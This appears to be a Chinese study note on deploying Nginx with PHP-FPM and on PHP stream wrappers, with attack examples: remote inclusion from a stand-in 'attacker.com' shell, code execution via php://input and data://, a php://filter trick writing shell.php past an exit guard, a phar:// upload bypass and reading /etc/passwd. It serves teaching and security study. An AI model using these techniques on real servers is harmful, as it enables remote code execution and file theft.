PHP 安全与部署知识总结

一、Nginx与PHP环境部署

1.1 安装依赖包

复制代码
apt-get install gcc libpcre3 libpcre3-dev zlib1g zlib1g-dev openssl libssl-dev

1.2 Nginx编译安装

复制代码
# 1. 创建目录并解压
cd /usr/local
mkdir nginx
tar -xvf nginx-1.21.6.tar.gz

# 2. 配置编译选项
./configure --prefix=/home/centos/nginx \
  --with-http_stub_status_module \
  --with-http_ssl_module \
  --with-http_sub_module

# 3. 编译安装
make
make install

1.3 PHP安装配置

复制代码
# 添加PHP源
sudo add-apt-repository -y ppa:ondrej/php
sudo apt-get update

# 安装PHP7.3及相关扩展
sudo apt-get install php7.3 php7.3-fpm php7.3-mysql php7.3-curl \
  php7.3-xml php7.3-gd php7.3-mbstring php7.3-zip

# 配置PHP-FPM监听端口
# 修改 /etc/php/7.3/fpm/pool.d/www.conf
# listen = 127.0.0.1:9000

1.4 Nginx与PHP-FPM集成

复制代码
# Nginx配置文件中添加
location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass 127.0.0.1:9000;
}

二、PHP伪协议

(一)概念

PHP伪协议(Wrapper)允许访问PHP的输入/输出流,是PHP中强大的文件操作功能,常用于文件包含、读取、写入等操作。

(二)常用伪协议

2.1 file:// --- 访问本地文件系统

**格式:**file://[文件路径]

特点

1.默认协议,当未指定协议时使用

2.可读取本地文件

示例

复制代码
// 读取本地文件
$content = file_get_contents('file:///etc/passwd');
// 简写
$content = file_get_contents('/etc/passwd');

安全限制

1.受 open_basedir 限制

2.需要文件读取权限

2.2 http:// & https:// --- 访问HTTP资源

格式http(s)://[URL]

特点

1.远程文件包含(RFI)的关键

2.可通过URL获取远程文件

示例

复制代码
// 远程包含(需allow_url_include=On)
include('http://attacker.com/shell.php');

// 读取远程内容
$content = file_get_contents('https://example.com/data.txt');

配置要求

复制代码
allow_url_fopen = On      ; 允许fopen打开URL
allow_url_include = On    ; 允许include远程文件(PHP5.2+默认关闭)

2.3 ftp:// --- FTP访问

格式ftp://[用户名:密码@]主机名[:端口]/路径

示例

复制代码
// 匿名访问
$content = file_get_contents('ftp://example.com/pub/file.txt');

// 认证访问
$content = file_get_contents('ftp://user:pass@example.com/file.txt');

2.4 php:// --- 访问输入输出流

2.4.1 php://input

作用:读取POST请求的原始数据

示例

复制代码
// 读取POST原始数据
$input = file_get_contents('php://input');

// 配合include执行代码(需allow_url_include=On)
// POST数据:<?php system('id'); ?>
include('php://input');

限制

1.需要 allow_url_include=On

2.仅适用于POST请求

2.4.2 php://output

作用:写入到输出缓冲区

示例

复制代码
// 直接输出
$fp = fopen('php://output', 'w');
fwrite($fp, 'Hello World');
fclose($fp);
2.4.3 php://filter

作用:对流进行过滤处理

格式php://filter/[过滤器]/resource=[资源]

常用过滤器

1.convert.base64-encode / convert.base64-decode - Base64编解码

2.convert.quoted-printable-encode / convert.quoted-printable-decode

3.string.rot13 - ROT13编码

4。string.toupper / string.tolower - 大小写转换

5.string.strip_tags - 去除HTML/PHP标签

6.zlib.deflate / zlib.inflate - 压缩/解压

多层过滤

复制代码
// 多层过滤器用|分隔
php://filter/read=string.strip_tags|convert.base64-decode/resource=data://text/plain,xxxx

示例

复制代码
// 读取文件并Base64编码
$content = file_get_contents('php://filter/read=convert.base64-encode/resource=config.php');

// 写入时编码
file_put_contents('php://filter/write=convert.base64-decode/resource=output.txt', $base64_data);

安全利用

复制代码
// 绕过死亡exit
// 原代码:<?php exit; ?>
// Base64解码时会忽略非法字符 <?php ; 空格 ?>
// 剩下 "phpexit" (7字符) + "a" = 8字符(base64要求4字节对齐)
file_put_contents(
    'php://filter/write=convert.base64-decode/resource=shell.php',
    'PD9waHAgcGhwaW5mbygpOyA/Pg=='  // <?php phpinfo(); ?> 的base64
);
2.4.4 php://memory / php://temp

作用:在内存或临时文件中读写数据

示例

复制代码
// 内存流
$fp = fopen('php://memory', 'r+');
fwrite($fp, 'data');
rewind($fp);
echo fread($fp, 1024);

// 临时文件(超过2MB或指定大小会写入磁盘)
$fp = fopen('php://temp/maxmemory:1024', 'r+');

2.5 data:// --- 数据流封装

格式data://[mime类型][;base64],数据

特点

1.将数据内嵌在URL中

2.常用于代码执行

示例

复制代码
// 文本数据
$text = file_get_contents('data://text/plain,hello world');

// Base64编码的PHP代码
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');

// 直接执行代码(需allow_url_include=On)
include('data://text/plain,<?php phpinfo();?>');

配置要求

复制代码
allow_url_fopen = On
allow_url_include = On    ; PHP>=5.2.0

限制

1.PHP>=5.2.0 开始支持

2.data://allow_url_include 关闭时不可用

2.6 phar:// --- Phar归档访问

格式phar://[归档文件]/[内部文件路径]

特点

1.访问ZIP/PHAR/TAR归档中的文件

2.不依赖文件扩展名,依赖文件内容格式

安全漏洞

复制代码
# 1. 创建恶意ZIP
echo '<?php phpinfo();?>' > shell.php
zip test.zip shell.php

# 2. 改名绕过上传限制
mv test.zip shell.jpg

# 3. 通过phar协议执行
include('phar://uploads/shell.jpg/shell.php');

原理

1.检测文件头Magic Bytes而非扩展名

2.ZIP文件头:PK\x03\x04

3.PHAR文件头:__HALT_COMPILER()

利用条件

  1. 可上传文件(任意扩展名)

  2. 存在文件包含点

  3. PHP版本>=5.3.0

2.7 zip:// --- ZIP归档访问

格式zip://[归档文件路径]#[内部文件路径]

与phar://的区别

  • 需要绝对路径

  • 使用 # 而非 / 分隔

  • # 需要URL编码为 %23

示例

复制代码
// 读取ZIP中的文件
include('zip:///path/to/archive.zip%23shell.php');

// 相对路径不可用
include('zip://archive.zip%23shell.php');  // 错误

2.8 glob:// --- 查找匹配的文件路径

格式glob://[模式]

示例

复制代码
// 查找所有.txt文件
$files = glob('glob://*.txt');

// 配合DirectoryIterator使用
$dir = new DirectoryIterator('glob:///var/log/*.log');

2.9 expect:// --- 执行系统命令

格式expect://[命令]

特点

  • 执行系统命令并获取输出

  • 默认禁用

示例

复制代码
// 需要安装expect扩展并启用
$output = file_get_contents('expect://ls');

安全风险

高危协议,通常在生产环境中禁用

相关推荐
开开心心就好1 小时前
内存清理工具点击清理,自动间隔自启
linux·运维·服务器·安全·硬件架构·材料工程·1024程序员节
数据知道1 小时前
万字详解 PostgreSQL 的详细安装方式(Linux、Windows、macOS、Docker 全平台覆盖)
linux·windows·postgresql
zyxzyx491 小时前
大模型本地化部署实战:从服务器性能调优到低成本落地全攻略
服务器·开发语言·php
浅安的邂逅2 小时前
ubuntu 18.04及以上版本 ping命令报错:Name or service not known解决方法
linux·运维·ubuntu·ip设置
重生之绝世牛码2 小时前
Linux软件安装 —— JDK安装
java·大数据·linux·运维·jdk
晚风吹长发2 小时前
初步理解Linux中的进程间通信以及管道通信
linux·运维·服务器·c++·进程·通信
可爱又迷人的反派角色“yang”2 小时前
K8s(六)
linux·运维·云原生·容器·kubernetes
wheeldown3 小时前
【Linux】 Linux网络编程入门:Soket编程详解
linux·运维·网络
zfxwasaboy10 小时前
DRM KMS 子系统(4)Planes/Encoder/Connector
linux·c语言